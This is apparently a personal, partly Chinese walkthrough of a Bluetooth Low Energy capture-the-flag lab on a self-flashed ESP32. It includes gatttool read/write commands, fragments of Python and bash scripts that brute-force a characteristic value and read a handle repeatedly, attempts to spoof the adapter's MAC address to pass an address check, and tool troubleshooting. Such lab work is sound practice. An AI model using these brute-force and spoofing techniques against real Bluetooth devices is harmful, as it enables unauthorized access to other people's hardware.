┌──(kali㉿kali)-[~/Desktop] └─$ hciconfig ┌──(kali㉿kali)-[~/Desktop] └─$ hciconfig hci0: Type: Primary Bus: USB BD Address: 84:E0:F4:03:0F:5E ACL MTU: 310:10 SCO MTU: 64:8 DOWN RUNNING RX bytes:582 acl:0 sco:0 events:30 errors:0 TX bytes:367 acl:0 sco:0 commands:30 errors:0 ┌──(root㉿kali)-[/home/kali/Desktop] └─# hciconfig hci0 up ┌──(root㉿kali)-[/home/kali/Desktop] └─# exit ┌──(kali㉿kali)-[~/Desktop] └─$ sudo hciconfig hci0 lestates Supported link layer states: YES Non-connectable Advertising State YES Scannable Advertising State YES Connectable Advertising State YES Directed Advertising State YES Passive Scanning State YES Active Scanning State YES Initiating State/Connection State in Central Role YES Connection State in the Peripheral Role YES Non-connectable Advertising State and Passive Scanning State combination YES Scannable Advertising State and Passive Scanning State combination YES Connectable Advertising State and Passive Scanning State combination YES Directed Advertising State and Passive Scanning State combination YES Non-connectable Advertising State and Active Scanning State combination YES Scannable Advertising State and Active Scanning State combination YES Connectable Advertising State and Active Scanning State combination YES Directed Advertising State and Active Scanning State combination YES Non-connectable Advertising State and Initiating State combination YES Scannable Advertising State and Initiating State combination YES Non-connectable Advertising State and Central Role combination YES Scannable Advertising State and Central Role combination YES Non-connectable Advertising State and Peripheral Role combination YES Scannable Advertising State and Peripheral Role combination YES Passive Scanning State and Initiating State combination YES Active Scanning State and Initiating State combination YES Passive Scanning State and Central Role combination YES Active Scanning State and Central Role combination YES Passive Scanning State and Peripheral Role combination YES Active Scanning State and Peripheral Role combination YES Initiating State and Central Role combination/Central Role and Central Role combination ┌──(kali㉿kali)-[~/Desktop] └─$ sudo hcitool lescan LE Scan ... 64:B7:08:61:B9:7E BLECTF
Help Options: -h, --help Show help options --help-all Show all help options --help-gatt Show all GATT commands --help-params Show all Primary Services/Characteristics arguments --help-char-read-write Show all Characteristics Value/Descriptor Read/Write arguments
GATT commands --primary Primary Service Discovery --characteristics Characteristics Discovery --char-read Characteristics Value/Descriptor Read --char-write Characteristics Value Write Without Response (Write Command) --char-write-req Characteristics Value Write (Write Request) --char-desc Characteristics Descriptor Discovery --listen Listen for notifications and indications
Characteristics Value/Descriptor Read/Write arguments -a, --handle=0x0001 Read/Write characteristic by handle (required) -n, --value=0x0001 Write characteristic value (required for write operation)
Application Options: -i, --adapter=hciX Specify local adapter interface -b, --device=MAC Specify remote Bluetooth address -t, --addr-type=[public | random] Set LE address type. Default: public -m, --mtu=MTU Specify the MTU size -p, --psm=PSM Specify the PSM for GATT/ATT over BR/EDR -l, --sec-level=[low | medium | high] Set security level. Default: low -I, --interactive Use interactive mode
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "12345678901234567890"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "d205303e099ceff44835"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "5cd56d74049ae40f442e"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "2b00042f7481c7b056c4"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-read -a 0x0032|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n' Write anything here
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "123"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-read -a 0x0032|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n' 3873c0270763568cf7aa ┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "3873c0270763568cf7aa"|xxd -ps) Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-read -a 0x0034|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n' Write the ascii value "yo" here ┌──(kali㉿kali)-[~/Desktop] └─$ sudo gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x0034 -n 796f Characteristic value was written successfully
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "c55c6314b3db0a6128af"|xxd -ps) Characteristic value was written successfully
0x0034是一个非标准或 CTF 特定的隐藏句柄,标准发现工具 bluetoothctl 无法看到,但可以直接操作的 gatttool -a 可以访问。
gatttool -a 的行为:gatttool --char-read -a <handle> 和 --char-write-req -a <handle> 直接作用于任何你指定的句柄,不管它代表服务、特征声明、特征值还是描述符。只要该句柄存在且具有相应的读/写权限,gatttool 就能直接与之交互。
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "1179080b29f8da16ad66"|xxd -ps) Characteristic value was written successfully
┌──(myenv)─(kali㉿kali)-[~/Desktop] └─$ python ble2.py Traceback (most recent call last): File "/home/kali/Desktop/ble2.py", line 3, in <module> from bluepy import btle ModuleNotFoundError: No module named 'bluepy'
┌──(myenv)─(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-read -a 0x0036|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n' Write the hex value 0x07 here
if connection_lost: print("Connection lost, attempting to reconnect...") time.sleep(RECONNECT_DELAY) try: conn.connect(DEVICE_ADDRESS, ADDR_TYPE) print("Reconnected successfully.") except Exception as recon_e: print(f"Reconnect failed: {recon_e}. Aborting.") break# 重连失败,放弃 else: # 如果不是连接丢失错误,可能是写入不允许或其他错误,继续下一个尝试 # print(" Continuing to next value...") # 短暂暂停避免过于频繁的无效尝试 time.sleep(SLEEP_INTERVAL * 2) # 错误后暂停时间稍长
# 防止循环过快占用过多 CPU time.sleep(SLEEP_INTERVAL)
except btle.BTLEDisconnectError as e: print(f"\nError: Disconnected during operation: {e}") except btle.BTLEException as e: print(f"\nError: Bluetooth operation failed: {e}") except KeyboardInterrupt: print("\nOperation cancelled by user.") except Exception as e: print(f"\nAn unexpected error occurred: {e}") finally: # --- 清理:确保断开连接 --- if conn: try: print("Disconnecting...") conn.disconnect() except btle.BTLEException: # 可能已经断开连接,忽略错误 pass
# --- 结果报告 --- if found_value isnotNone: print(f"\nBrute force finished. The correct value appears to be: {hex(found_value)} (Decimal: {found_value})") sys.exit(0) # 成功退出 else: print("\nBrute force finished. The correct value was not found (or the handle value did not change).") sys.exit(1) # 失败退出
输出为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Trying value: 0xd0 (Hex: d0, Bytes: b'\xd0') -> Value read back from 0x3c: b'Brute force my value 00 to ff' Trying value: 0xd1 (Hex: d1, Bytes: b'\xd1') -> Value read back from 0x3c: b'933c1fcfa8ed52d2ec05'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!! SUCCESS: Handle 0x3c value changed! !!! !!! Correct value likely: 0xd1 (Hex: d1) !!! !!! New value in handle: b'933c1fcfa8ed52d2ec05' !!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Disconnecting...
Brute force finished. The correct value appears to be: 0xd1 (Decimal: 209)
进行验证
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "933c1fcfa8ed52d2ec05"|xxd -ps) Characteristic value was written successfully
echo "Starting to read handle $HANDLE from $MAC, $COUNT times..." echo "(Using gatttool in a loop - this will be VERY SLOW and potentially unstable)" echo "Max duration set to $MAX_DURATION_SECONDS seconds." # --- 主循环 --- for (( i=1; i<=COUNT; i++ )); do # --- 检查总执行时间 --- current_time=$(date +%s) elapsed_time=$((current_time - start_time)) if [ "$elapsed_time" -gt "$MAX_DURATION_SECONDS" ]; then echo -e "\nError: Execution time exceeded ${MAX_DURATION_SECONDS} seconds. Stopping." error_occurred=true break # 超时则跳出循环 fi
# 打印进度 (每 10 次打印一次) if (( i % 10 == 0 )) || [ "$i" -eq "$COUNT" ]; then printf "\rReading %d/%d (Elapsed: %ds)..." "$i" "$COUNT" "$elapsed_time" fi
┌──(kali㉿kali)-[~/Desktop] └─$ ./test4.sh Starting to read handle 0x003e from 64:B7:08:61:B9:7E, 1000 times... (Using gatttool in a loop - this will be VERY SLOW and potentially unstable) Max duration set to 180 seconds. Reading 1000/1000 (Elapsed: 161s)... ----------------------------------------- Finished. Total execution time: 161 seconds. Completed reads: 1000/1000. Operation completed 1000 reads. \nLast 10 read values: Read #991: 6ffcd214ffebdc0d069e Read #992: 6ffcd214ffebdc0d069e Read #993: 6ffcd214ffebdc0d069e Read #994: 6ffcd214ffebdc0d069e Read #995: 6ffcd214ffebdc0d069e Read #996: 6ffcd214ffebdc0d069e Read #997: 6ffcd214ffebdc0d069e Read #998: 6ffcd214ffebdc0d069e Read #999: 6ffcd214ffebdc0d069e Read #1000: 6ffcd214ffebdc0d069e
进行验证
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x002c -n $(echo -n "6ffcd214ffebdc0d069e"|xxd -ps) Characteristic value was written successfully
print(f"Target: {DEVICE_ADDRESS}") print(f"Handle to read repeatedly: {hex(TARGET_HANDLE)}") print(f"Number of reads required: {READ_COUNT}") print(f"Maximum execution time: {MAX_DURATION_SECONDS} seconds") print(f"Will store and print last {LAST_N_RESULTS} results.") print(f"Will report first detected value change.")
# 报告变化检测结果 print("-" * 40) if change_detected_at isnotNone: print(f"Value change detected at read number: {change_detected_at}") print(f"Value after change was: {value_after_change!r}") else: print("No value change detected during the reads.") print("-" * 40)
if operation_successful: print("Operation finished within time limit and without critical errors.") # 打印最后 N 个结果 print(f"\nLast {len(results)} read values (up to {LAST_N_RESULTS}):") start_print_index = max(1, READ_COUNT - len(results) + 1) # 计算起始索引 for k, val inenumerate(results): original_index = start_print_index + k print(f" Read #{original_index}: {val.hex()} ({val!r})") print("-" * 40) sys.exit(0) # 成功退出 else: print("Operation did not complete successfully or timed out.") # 如果有部分结果,也打印出来 if results: print(f"\nLast {len(results)} read values before stopping:") start_print_index = max(1, i - len(results) + 1) # i 是停止时的循环次数 for k, val inenumerate(results): original_index = start_print_index + k print(f" Read #{original_index}: {val.hex()} ({val!r})") print("-" * 40) sys.exit(1) # 失败退出
更快
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(kali㉿kali)-[~/Desktop] └─$ sudo python test5.py Target: 64:B7:08:61:B9:7E Handle to read repeatedly: 0x3e Number of reads required: 1000 Maximum execution time: 180 seconds Will store and print last 10 results. Will report first detected value change. Connecting... Connected. Reading 1000/1000 (Elapsed: 80s)...
Notifications are unsolicited PDUs of type ATT_HANDLE_VALUE_NTF that are sent by a server to a client. No reply PDU is defined. 通知是由服务器发送到客户端的 ATT_HANDLE_VALUE_NTF 类型的未经请求的 PDU。未定义应答 PDU。
指示和通知是可以通过 attribute(ATT) 协议发送的命令。因此,在 ATT 层定义了两个角色:客户端和服务器。指示和通知是 GATT 客户端订阅 GATT 服务器提供的数据的一种方式。客户端必须通过其客户端特征配置描述符为特征的值配置 Indications 和 Notifications,以便在每次在服务器上更新特征的值时收到通知。 指示Indications需要由客户确认。服务器在从客户端获取回知之前不会发送以下指示。客户端向服务器发送了一条确认消息;这样 Server 就知道消息到达了 Client。因此,通过指示进行通信的速度较慢。 通知Notifications不需要确认,因此速度更快。因此,服务器不知道消息是否到达客户端。
Help Options: -h, --help Show help options --help-all Show all help options --help-gatt Show all GATT commands --help-params Show all Primary Services/Characteristics arguments --help-char-read-write Show all Characteristics Value/Descriptor Read/Write arguments
Application Options: -i, --adapter=hciX Specify local adapter interface -b, --device=MAC Specify remote Bluetooth address -t, --addr-type=[public | random] Set LE address type. Default: public -m, --mtu=MTU Specify the MTU size -p, --psm=PSM Specify the PSM for GATT/ATT over BR/EDR -l, --sec-level=[low | medium | high] Set security level. Default: low -I, --interactive Use interactive mode
Connect with BT MAC address 11:22:33:44:55:66 当有设备连接时,它会检查连接过来的设备的 MAC 地址。只有当连接设备的 MAC 地址正好是 11:22:33:44:55:66 时,它才会认为这个连接是“特殊”的或“授权”的,并触发某个成功的状态(例如,更新某个特征的值,像源代码里处理 MAC 地址匹配的部分)。
└─$ sudo btmgmt [mgmt]# help Menu mgmt: Available commands: ------------------- monitor Advertisement Monitor Submenu select <index> Select a different index revision Get the MGMT Revision commands List supported commands config Show configuration info info Show controller info extinfo Show extended controller info auto-power Power all available features power <on/off> Toggle powered state discov <yes/no/limited> [timeout] Toggle discoverable state connectable <on/off> Toggle connectable state fast-conn <on/off> Toggle fast connectable state bondable <on/off> Toggle bondable state pairable <on/off> Toggle bondable state linksec <on/off> Toggle link level security ssp <on/off> Toggle SSP mode sc <on/off/only> Toggle SC support hs <on/off> Toggle HS support le <on/off> Toggle LE support advertising <on/off> Toggle LE advertising bredr <on/off> Toggle BR/EDR support privacy <on/off> [irk] Toggle privacy support class <major> <minor> Set device major/minor class disconnect [-t type] <remote address> Disconnect device con List connections find [-l|-b] [-L] Discover nearby devices find-service [-u UUID] [-r RSSI_Threshold] [-l|-b] Discover nearby service stop-find [-l|-b] Stop discovery name <name> [shortname] Set local name pair [-c cap] [-t type] <remote address> Pair with a remote device cancelpair [-t type] <remote address> Cancel pairing unpair [-t type] <remote address> Unpair device keys Load Link Keys ltks Load Long Term Keys irks [--local index] [--file file path] Load Identity Resolving Keys block [-t type] <remote address> Block Device unblock [-t type] <remote address> Unblock Device add-uuid <UUID> <service class hint> Add UUID rm-uuid <UUID> Remove UUID clr-uuids Clear UUIDs local-oob Local OOB data remote-oob [-t <addr_type>] [-r <rand192>] [-h <hash192>] [-R <rand256>] [-H <hash256>] <addr> Remote OOB data did <source>:<vendor>:<product>:<version> Set Device ID static-addr <address> Set static address public-addr <address> Set public address ext-config <on/off> External configuration debug-keys <on/off> Toggle debug keys conn-info [-t type] <remote address> Get connection information io-cap <cap> Set IO Capability scan-params <interval> <window> Set Scan Parameters get-clock [address] Get Clock Information add-device [-a action] [-t type] <address> Add Device del-device [-t type] <address> Remove Device clr-devices Clear Devices bredr-oob Local OOB data (BR/EDR) le-oob Local OOB data (LE) advinfo Show advertising features advsize [options] <instance_id> Show advertising size info add-adv [options] <instance_id> Add advertising instance rm-adv <instance_id> Remove advertising instance clr-adv Clear advertising instances add-ext-adv-params [options] <instance_id> Add extended advertising params add-ext-adv-data [options] <instance_id> Add extended advertising data appearance <appearance> Set appearance phy [LE1MTX] [LE1MRX] [LE2MTX] [LE2MRX] [LECODEDTX] [LECODEDRX] [BR1M1SLOT] [BR1M3SLOT] [BR1M5SLOT][EDR2M1SLOT] [EDR2M3SLOT] [EDR2M5SLOT][EDR3M1SLOT] [EDR3M3SLOT] [EDR3M5SLOT] Get/Set PHY Configuration wbs <on/off> Toggle Wideband-Speech support secinfo Show security information expinfo Show experimental features exp-debug <on/off> Set debug feature exp-privacy <on/off> Set LL privacy feature exp-quality <on/off> Set bluetooth quality report feature exp-offload <on/off> Toggle codec support read-sysconfig Read System Configuration set-sysconfig <-v|-h> [options...] Set System Configuration get-flags [-t type] <address> Get device flags set-flags [-f flags] [-t type] <address> Set device flags menu <name> Select submenu version Display version quit Quit program exit Quit program help Display help about this program export Print environment variables script <filename>
[mgmt]# select hci0 Selected index 0 [hci0]# power off [hci0]# hci0 Set Powered complete, settings: bondable ssp br/edr le secure-conn [hci0]# hci0 class of device changed: 0x000000 [hci0]# set-static-addr 11:22:33:44:55:66 Invalid command in menu mgmt: set-static-addr
Use "help" for a list of available commands in a menu. Use "menu <submenu>" if you want to enter any submenu. Use "back" if you want to return to menu main. [hci0]# public-addr 11:22:33:44:55:66 [hci0]# Set Public Address for hci0 failed with status 0x0c (Not Supported) [hci0]# power on [hci0]# hci0 class of device changed: 0x7c0000 [hci0]# hci0 Set Powered complete, settings: powered bondable ssp br/edr le secure-conn [hci0]# info [hci0]# hci0: Primary controller [hci0]# addr 84:E0:F4:03:0F:5E version 6 manufacturer 10 class 0x7c0000 [hci0]# supported settings: powered connectable fast-connectable discoverable bondable link-security ssp br/edr le advertising secure-conn debug-keys privacy static-addr phy-configuration [hci0]# current settings: powered bondable ssp br/edr le secure-conn [hci0]# name kali [hci0]# short name
ifconnfig
来自: 在 Linux 上,您可以使用命令 sudo hciconfig hci0 down 将蓝牙设备关闭,使用 sudo hciconfig hci0 hw ether NEW_MAC_ADDRESS 修改 MAC 地址,再用 sudo hciconfig hci0 up 重新启动设备 这个试了,不行
1 2 3
sudo hciconfig hci0 down sudo hciconfig hci0 hw ether 11:22:33:44:55:66 sudo hciconfig hci0 up
%% 阅读 handle 0x0048 并按照它所说的去做。设置 MTU 可能是一项棘手的事情。一些工具可能会提供 mtu 标志,但它们似乎并没有真正触发服务器上的 MTU 协商。尝试使用 gatttool 的交互模式来完成此任务。默认情况下,BLECTF 服务器设置为强制 MTU 大小为 20。服务器将监听 MTU 协商并查看它们,但我们并没有真正更改代码中的 MTU。如果您使用 handle 0x0048 中指定的值触发 MTU 事件,我们只触发标志代码。祝你好运! %%
┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 64:B7:08:61:B9:7E --char-write-req -a 0x0050 -n $(echo -n "hello"|xxd -ps) Characteristic value was written successfully
esptool.py v4.7.0 Serial port /dev/ttyUSB0 Connecting.... Chip is ESP32-D0WDQ6 (revision v1.1) Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None Crystal is 40MHz MAC: 8c:4f:00:c8:78:60 Traceback (most recent call last): File "/usr/bin/esptool", line 37, in <module> esptool._main() ~~~~~~~~~~~~~^^ File "/usr/lib/python3/dist-packages/esptool/__init__.py", line 1139, in _main main() ~~~~^^ File "/usr/lib/python3/dist-packages/esptool/__init__.py", line 751, in main esp = esp.run_stub() File "/usr/lib/python3/dist-packages/esptool/loader.py", line 996, in run_stub stub = StubFlasher(get_stub_json_path(self.CHIP_NAME)) File "/usr/lib/python3/dist-packages/esptool/loader.py", line 159, in __init__ with open(json_path) as json_file: ~~~~^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/lib/python3/dist-packages/esptool/targets/stub_flasher/stub_flasher_32.json'
┌──(myenv)─(kali㉿kali)-[~/Desktop/ble_ctf] └─$ python '/home/kali/Desktop/esptool/esptool.py' -h Traceback (most recent call last): File "/home/kali/Desktop/esptool/esptool.py", line 34, in <module> import esptool File "/home/kali/Desktop/esptool/esptool/__init__.py", line 41, in <module> import rich_click as click ModuleNotFoundError: No module named 'rich_click'
┌──(myenv)─(kali㉿kali)-[~/Desktop/ble_ctf] └─$ python '/home/kali/Desktop/esptool/esptool.py' -h Usage: esptool.py [OPTIONS] COMMAND [ARGS]... esptool.py v4.8.1 - serial utility for flashing, provisioning, and interacting with Espressif SoCs. ╭─ Options ─────────────────────────────────────────────────────────────────────────────────╮ │ --chip -c [auto|esp8266|esp32|esp32s2|esp Target chip type. │ │ 32s3|esp32c3|esp32c2|esp32c6|es │ │ p32c61|esp32c5|esp32h2|esp32h21 │ │ |esp32p4|esp32h4] │ │ --port -p TEXT Serial port device. │ │ --baud -b INTEGER Serial port baud rate used when │ │ flashing/reading. │ │ --port-filter [TEXT] Serial port device filter, can │ │ be vid=NUMBER, pid=NUMBER, │ │ name=SUBSTRING, │ │ serial=SUBSTRING. │ │ --before [default-reset|usb-reset|no-res Which reset to perform before │ │ et|no-reset-no-sync] connecting to the chip. │ │ --after -a [hard-reset|soft-reset|no-reset Which reset to perform after │ │ |no-reset-stub|watchdog-reset] operation is finished. │ │ --no-stub Disable launching the flasher │ │ stub, only talk to ROM │ │ bootloader. Some features will │ │ not be available. │ │ --trace -t Enable trace-level output of │ │ esptool.py interactions. │ │ --override-vddsdio [1.8V|1.9V|OFF] Override ESP32 VDDSDIO internal │ │ voltage regulator (use with │ │ care). │ │ --connect-attempts INTEGER Number of attempts to connect, │ │ negative or 0 for infinite. │ │ Default: 7. │ │ --help -h Show this message and exit. │ ╰───────────────────────────────────────────────────────────────────────────────────────────╯ ╭─ Basic commands ──────────────────────────────────────────────────────────────────────────╮ │ write-flash Write a binary blob to flash. The address is followed by binary │ │ filename, separated by space. │ │ read-flash Read SPI flash memory content. │ │ erase-flash Erase the SPI flash memory. │ │ erase-region Erase a region of the SPI flash memory. │ │ read-mac Print the device MAC address. │ │ flash-id Print the SPI flash memory manufacturer and device ID. │ │ elf2image Create an application image from ELF file │ │ image-info Print information about a firmware image (bootloader or │ │ application). │ │ merge-bin Merge multiple raw binary files into a single flashable file. │ │ version Print esptool version. │ ╰───────────────────────────────────────────────────────────────────────────────────────────╯ ╭─ Advanced commands ───────────────────────────────────────────────────────────────────────╮ │ verify-flash Verify a binary blob against the flash memory content. │ │ load-ram Download an image to RAM and execute. │ │ dump-mem Dump arbitrary memory to a file. │ │ read-mem Read arbitrary memory location. │ │ write-mem Modify or write to arbitrary memory location. │ │ read-flash-status Read SPI flash memory status register. │ │ write-flash-status Write SPI flash memory status register. │ │ read-flash-sfdp Read SPI flash SFDP (Serial Flash Discoverable Parameters). │ │ get-security-info Print security information report. │ │ chip-id Print the device chip ID. │ │ run Run application code loaded in flash. │ ╰───────────────────────────────────────────────────────────────────────────────────────────╯
Warning: Deprecated: Option '--flash_mode' is deprecated. Use '--flash-mode' instead. Warning: Deprecated: Option '--flash_size' is deprecated. Use '--flash-size' instead. Warning: Deprecated: Option '--flash_freq' is deprecated. Use '--flash-freq' instead. Warning: Deprecated: Choice 'default_reset' for option '--before' is deprecated. Use 'default-reset' instead. Warning: Deprecated: Choice 'hard_reset' for option '--after' is deprecated. Use 'hard-reset' instead. Warning: Deprecated: Command 'write_flash' is deprecated. Use 'write-flash' instead. esptool.py v4.8.1 Connected to ESP32 on /dev/ttyUSB0: Chip type: ESP32-D0WDQ6 (revision v1.1) Features: Wi-Fi, BT, Dual Core + LP Core, 240MHz, Vref calibration in eFuse, Coding Scheme None Crystal frequency: 40MHz MAC: 8c:4f:00:c8:78:60
Stub flasher running. Changing baud rate to 460800... Changed.
Configuring flash size... Flash will be erased from 0x00001000 to 0x00007fff... Flash will be erased from 0x00008000 to 0x00008fff... Flash will be erased from 0x00010000 to 0x000cafff... SHA digest in image updated. Wrote 26464 bytes (16501 compressed) at 0x00001000 in 0.7 seconds (299.5 kbit/s). Hash of data verified. Wrote 3072 bytes (103 compressed) at 0x00008000 in 0.0 seconds (538.0 kbit/s). Hash of data verified. Wrote 765904 bytes (452895 compressed) at 0x00010000 in 11.0 seconds (559.3 kbit/s). Hash of data verified.
Hard resetting via RTS pin... ┌──(myenv)─(kali㉿kali)-[~/Desktop/ble_ctf] └─$
@ MGMT Event: Command Complete (0x0001) plen 263 {0x0001} [hci0] 461.113935 Set Local Name (0x000f) plen 260 Status: Success (0x00) Name: kali Short name: bluetoothctl[24851]: @ MGMT..pen (privileged) version 1.23 {0x0002} 522.145845 bluetoothctl[24851]: @ MGMT Close: bluetoothctl {0x0002} 839.044348 @ MGMT Event: Connect Failed (0x000d) plen 8 {0x0001} [hci0] 850.944326 LE Address: 64:B7:08:61:B9:7E (Espressif Inc.) Status: Disconnected (0x0e) @ MGMT Event: Connect Failed (0x000d) plen 8 {0x0001} [hci0] 897.298500 LE Address: 64:B7:08:61:B9:7E (Espressif Inc.) Status: Disconnected (0x0e) bluetoothctl[27969]: @ MGMT..pen (privileged) version 1.23 {0x0002} 901.948847 scanbluetoothd[24308]: @ MGMT Comm..d (0x0023) plen 1 {0x0001} [hci0] 919.350036 Address type: 0x07 BR/EDR LE Public LE Random @ MGMT Event: Command Complete (0x0001) plen 4 {0x0001} [hci0] 919.350060 Start Discovery (0x0023) plen 1 Status: Busy (0x0a) Address type: 0x07 BR/EDR LE Public LE Random
给出的解决措施是重启蓝牙服务
1 2 3 4
sudo systemctl stop bluetooth # Stop the service first sleep 2 # Give it a second to shut down sudo systemctl start bluetooth # Start it fresh sudo systemctl status bluetooth # Verify it's active (running)
还有蓝牙适配器
1 2
sudo hciconfig hci0 down sudo hciconfig hci0 up
一顿重启后终于成功了
1 2 3 4 5 6 7 8 9
└─$ sudo bluetoothctl [bluetooth]# Agent registered [bluetooth]# scan on [bluetooth]# SetDiscoveryFilter success [bluetooth]# hci0 type 7 discovering on [bluetooth]# Discovery started [bluetooth]# [CHG] Controller 84:E0:F4:03:0F:5E Discovering: yes [bluetooth]# [NEW] Device 64:B7:08:61:B9:7E BLECTF
Operation not possible due to RF-kill (132)
报错
1 2 3 4
┌──(kali㉿kali)-[~/Desktop] └─$ sudo hciconfig hci0 up Can't init device hci0: Operation not possible due to RF-kill (132)
解决
1 2 3 4 5 6 7
#检查蓝牙状况 sudo rfkill list bluetooth #解除软件阻塞 (Soft blocked):如果显示 "Soft blocked: yes" sudo rfkill unblock bluetooth #解除所有类型的阻塞 sudo rfkill unblock all